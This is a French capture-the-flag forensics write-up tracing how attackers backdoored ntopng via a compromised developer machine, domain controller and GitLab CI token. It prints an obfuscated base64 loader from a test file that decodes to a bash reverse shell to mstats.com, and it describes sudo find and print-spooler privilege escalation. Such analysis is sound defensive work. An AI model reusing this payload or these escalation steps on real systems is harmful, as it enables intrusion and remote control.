Une autre entreprise vous contacte, afin de comprendre comment les mêmes attaquants ont pu compromettre leur infrastructure.
Un grand bravo à vous !
Grâce à la finesse de votre analyse, vous avez pu identifier que l'attaquant s'est latéralisé sur le réseau de **l'IAA**, depuis le pare-feu jusqu'à un serveur applicatif hébergeant des fichiers confidentiels.
Votre renommée d'analyste en cybersécurité n'est plus à faire ! Le bruit court, et votre nom apparaît désormais dans les plus grandes revues spécialisées du secteur. C'est grâce à vous qu'on sait comment toutes les entreprises utilisant **pfSense** se sont fait compromettre : via une attaque par supplychain, en exploitant une vulnérabilité dans le paquet tiers **ntopng**.
Ce matin, vous recevez un e-mail de la part des développeurs de **ntopng**: L'entreprise **Lunar Wings**. Ils vous remercient pour votre travail de recherche et d'analyse, qui a permis de mettre en lumière cette attaque de grande ampleur.
Cependant, **Lunar Wings** ne savent pas comment les attaquant ont pu insérer ce code malveillant dans **ntopng**. Ils vous demandent donc votre aide pour enquêter sur cette compromission.
Comme dans le cas de **l'IAA**, ils vous fournissent un schéma d'architecture de leur infrastructure de développement.
De plus, ils vous fournissent:
- Une archive contenant tout le disque d'un poste d'un développeur, suspecté d'avoir été compromis par l'attaquant, au vu de ses performances réseau anormalement élevées.
- Les logs de l'Active Directory, issus de leur contrôleur de domaine.
- Un dump complet de leur serveur GitLab hébergeant les sources de **ntopng**.
Votre ultime mission est donc d'identifier comment l'attaquant a pu pénétrer dans l'infrastructure de **Lunar Wings**, et comment il a pu insérer sa porte dérobée dans le code source de leur application.
Nous avons l'architecture de fichiers d'une machine Debian.
On trouve dans le répertoire /home/clagrange un fichier testsuite.py dans
lequel une variable nommée random est définie comme une liste, puis remplie
avec différentes chaînes de caractères de manière éparpillée au fil du code :
random = [0, 0, 0, 0, 0] # ligne 10
random[3] = "dOd0wyMXpkR0YwY3k1amIyMHZPREFn" # ligne 57
random[1] = "NlNjQuYjY0ZGVjb2RlKCJMMkpwYmk5" # ligne 73
random[0] = "aW1wb3J0IG9zCm9zLnN5c3RlbShiYX" # ligne 102
random[4] = "TUQ0bU1TQW0iKS5kZWNvZGUoKSk=" # ligne 131
random[2] = "aVlYTm9JQzFwSUQ0bUlDOWtaWFl2ZE" # ligne 171
Au sein d'un test, les chaînes de caractères sont rassemblées et décodées de la
base64 et le résultat est alors exécuté :
exec(base64.b64decode("".join(random)).decode()) # ligne 180
On décode donc de la base64 :
import os
os.system(base64.b64decode("L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL21zdGF0cy5jb20vODAgMD4mMSAm").decode())
En décodant cette nouvelle base64, une commande permettant d'obtenir un reverse
shell apparaît et donc notre premier flag.
Cette partie se fait à partir de l'analyse du dump de la machine Debian.
L'une des méthodes plus classiques d'élévation de privilèges est l'utilisation
de permissions sudo mal configurées. On peut donc vérifier le contenu du
fichier sudoers dans le répertoire etc et on y trouve :
clagrange ALL=(root) NOPASSWD: /usr/bin/find
L'utilisateur clagrange peut donc utiliser la commande find en tant que
root sans mot de passe. find, si lancé avec des privilèges root, permet
d'obtenir un shell root, et on peut confirmer si cela a eu lieu en vérifiant le
fichier /var/log/auth.log, qui trace, entre autres, les utilisations de sudo
et on y trouve bien, à la ligne 17, une utilisation de find permettant
d'obtenir un shell root.
On a donc trouvé les deuxième et troisième flags.
Nous disposons de logs provenant de plusieurs machines du réseau local (LAN). L’analyse se concentre dans un premier temps sur les logs du contrôleur de domaine DC, afin d’identifier les vecteurs de compromission.
Plusieurs indicateurs de compromission ont été identifiés dans les logs, permettant de retracer les étapes de l’attaque.
Un événement suspect a été détecté dans les logs de type Microsoft-Windows-Sysmon, daté du 28 juillet 2025 à 16:34:04.051226 (UTC) :

La DLL en question présente plusieurs caractéristiques anormales :
Emplacement non conventionnel :
* Elle a été déposée dans le dossier C:\Windows\System32\spool\driver au lieu du chemin standard C:\Windows\System32\spool\drivers.
* Enregistrement d’un port d’imprimante malveillant : Le même exécutable a configuré un port d’imprimante pointant vers cette DLL, ce qui suggère une exploitation de la vulnérabilité Spouleur d'impression.

Des traces d’exécution ont été relevées depuis le répertoire :\
<Data Name="CurrentDirectory">C:\Windows\Temp\tools\PrivEsc\</Data>
L’exécutable a lancé une série de commandes visant à :
* Charger la DLL malveillante.
* Exploiter le mécanisme Windows Error Reporting (WER) pour obtenir une élévation de privilèges.
Commandes exécutées :




Résultat :
* La DLL malveillante a permis le lancement d’un cmd.exe avec des privilèges élevés.
* La machine DC a été compromise au niveau le plus critique, via une élévation de privilèges.


Synthèse de l’attaque\
L’attaquant a exploité une vulnérabilité du service Spouleur d'impression pour :
Suite à la compromission du contrôleur du domaine (DC), les logs de type Microsoft-Windows-Security-Auditing ont enregistré différents évènements suspects comme :



Nous nous intéressons désormais au dump de la DMZ, qui contient un gitlab self-hosted.
On extrait les fichiers:
tar xzvf INFRA01-dump.tar.gz
On sait que l'attaquant a compromis deux machines:
- DC01: 10.0.0.2
- DEBIAN01: 10.0.0.112
- WINDOWS01: 10.0.0.113
Et que l'attaque sur l'active directory a commencé à partir du 28 juillet 2025.
En cherchant dans les logs d'authentification (/mnt/var/log/auth.log), on trouve une connection SSH en root d'une IP d'une machine compromise.

Tout d'abord, nous devons chercher le dépôt git qui a été compromis. Nous savons qu'il sagit de celui de ntopng.
Nous cherchons les dépôts git dans le dump avec la commande find:

On y trouve trois dépôts, ainsi que leur wifi associés.
Cependant, on s'aperçoit que ces dépôts sont au format "bare", c'est à dire qu'ils ne contiennent pas de copie de travail.
Pour obtenir le code source, plusieurs techniques sont possibles, comme par exemple copier le .git dans un nouveau répertoire et créer une copie de travail avec git checkout. Cependant, une méthode plus simple est d'utiliser la commande git clone directement sur le dépôt bare.
On clone donc les dépôts:

On analyse le code source de chaque dépôts.
Fichier README.md du premier dépôt:

On constate que ce dépôt correspond bien à ntopng.
Fichier README.md du deuxième et troisième dépôt:

On constate que ce dépôt correspond à nDPI, une bibliothèque utilisée par ntopng.
Comme on sait que le paquet infecté est ntopng, on se concentre sur le premier dépôt.
On sait que l'attaquant a réalisé un exfiltration dns à destination du domaine mstats.com.
On cherche dans le code source des occurrences de ce domaine:

On trouve une occurence dans un certain fichier. Si on ouvre le fichier, on voit bien une exfiltration dns en base64.
On remarque également que la toolchain a été modifiée pour ajouter une librairie c-plus-plus de client DNS, ldns.
On effectue un git log sur le fichier pour trouver le commit où l'attaquant a ajouté ce code malveillant.

La question posée est:
Comment l'attaquant a t-il pu insérer ce code malveillant dans ntopng?
On cherche dans le dépôt des fichiers de configuration d'intégration continue, comme .gitlab-ci.yml ou .github/workflows.
On trouve un fichier .gitlab-ci.yml, et on y trouve un job qui utilise un token d'accès pour clone l'autre dépôt, nDPI, en utilisant un Access Token.

On comprends donc que ce fichier, visible par l'attaquant, lui a donné une piste pour insérer du code malveillant dans le dépôt ntopng.
On sait que l'attaquant a ajouté le commit le 29 juillet, que l'active directory a été compromis le 28 juillet.
On cherche alors des logs dans cet intervalle de temps, sur la machine INFRA01.
On s'interessé alors au logs shell de gitlab, situés dans /mnt/var/log/gitlab/gitlab-shell/gitlab-shell.log.
On constate qu'il y a plusieurs commandes reçues.
En lisant la documentation de git, pour la commande upload et receive-pack, on comprend que:
gitlab-upload-pack: correspond à un clone du dépôtgitlab-receive-pack: correspond à un push du dépôtCependant, on voit qu'il n'y a pas de timestamp dans l'intervalle recherché.
Néanmoins, on trouve également des logs nginx dans /mnt/var/log/gitlab/nginx/gitlab_access.log.
En effet, il est possible de clone en https, ce qui génère des logs nginx.
En cherchant dans ces logs, on trouve bien des timestamps et des IPs qui correspondent à une machine compromise.
On sait que l'attaquant a utilisé un jeton d'accès pour cloner le dépôt ntopng. On sait également que ce jeton est stocké dans une variable de CI, nommée DEBUG, selon le fichier .gitlab-ci.yml.
On trouve deux occurences dans la base de données postgresql de gitlab, qu'il faut re-créer pour extraire le token.
On affiche la version de postgresql:
➜ mnt cat var/opt/gitlab/postgresql/VERSION
postgres (PostgreSQL) 16.10
On télécharge la version 16:
sudo apt-get install postgresql-16
On lance postgres:
/usr/lib/postgresql/16/bin/postgres -D var/opt/gitlab/postgresql/data/
Mais on obtiens cette erreur:
FATAL: could not load root certificate file "/opt/gitlab/embedded/ssl/certs/cacert.pem": No such file or directory
LOG: database system is shut down
Cela est normal, car le /opt de notre système n'est pas celui du dump.
Il est possible de faire un lien symbolique de /opt vers /mnt/opt, mais cela n'est pas très propre, il est préfèrable de modifier la configuration de postgres.
On fais un grep des paths absolus dans le dossier de postgres, nottamment via les paths /var et /opt.
On ouvre le fichier var/opt/gitlab/postgresql/data/postgresql.conf et on modifie les paths qui commencent par /var en /mnt/var
unix_socket_directories = '/mnt/var/opt/gitlab/postgresql' # (change requires restart)
ssl_ca_file = '/mnt/opt/gitlab/embedded/ssl/certs/cacert.pem'
On retire l'authentification en remplaçant peer map=gitlab par trust dans le fichier pg_hba.conf.
On lance postgres, et cette fois le serveur se lance.
On ouvre une autre console et on se connecte à la base de données gitlab:
- On précise le path de la socket unix (-h)
- On précise le port 5432 (-p)
- On précise l'utilisateur gitlab-psql (-U)
- On précise la base de données gitlabhq_production (-d)
Toutes ces informations sont disponibles dans le fichier pg_hba.conf et postgresql.conf.
/usr/lib/postgresql/16/bin/psql -h /mnt/var/opt/gitlab/postgresql/ -p 5432 -U gitlab-psql -d gitlabhq_production
On cherche dans la table personal_access_tokens, mais tout est chiffré.
On cherche alors dans la table ci_variables, car on sait que le token est stocké dans une variable de CI grâce au fichier .gitlab-ci.yml.
On voit bien que la valeur de la variable est bien DEBUG, tout comme dans le fichier .gitlab-ci.yml.
Il suffit donc de décoder la valeur base64 pour obtenir le token.
Il existe une solution alternative pour identifier la table ci_variables dans laquelle le token est stocké, ou bien si on ne veux pas monter un serveur postgresql.
On sait que le jeton d'accès peut-être de différents types.
En se référant à la documentation Gitlab sur les Access Tokens, on y voit qu'il existe plusieurs types de tokens avec chacun des préfixes différents:
On peux utiliser le préfixe pour chercher le token dans le dump. On sait également que le token est sous format base64, il faut donc l'encoder avant de le chercher.
En essayant avec le préfixe glpat-, on trouve des correspondances dans les fichiers postgresql:
➜ mnt grep -r $(echo -n "glpat-" | base64)
grep: var/opt/gitlab/postgresql/data/pg_wal/00000001000000000000000A: binary file matches
grep: var/opt/gitlab/postgresql/data/base/16386/22059: binary file matches
On peux alors faire la requête SQL suivante afin de savoir le nom de la table associée à ce fichier:
SELECT
relname,
relkind,
relfilenode,
pg_namespace.nspname
FROM pg_class
JOIN pg_namespace ON pg_namespace.oid = pg_class.relnamespace
WHERE relfilenode = 22059;
ce qui nous donne:
On voit que ce fichier correspond à la table ci_variables. On aurait pu le deviner, car le token était stocké dans une variable de ci selon le fichier .gitlab-ci.yml. Cela permet de nous le nom de la table pour chercher le token si on veux monter le serveur postgresql.
Encore plus simple, on peux chercher directement le token dans le fichier var/opt/gitlab/postgresql/data/base/16386/22059 avec strings et grep:
On voit le token encodé en base64, que l'on peut décoder pour obtenir le token final. Cependant cette technique n'est pas très propre, car on peut obtenir des faux positifs, il faut connaître le préfixe du token, et rien ne nous assure que le token correspond bien à la valeur de la variable DEBUG.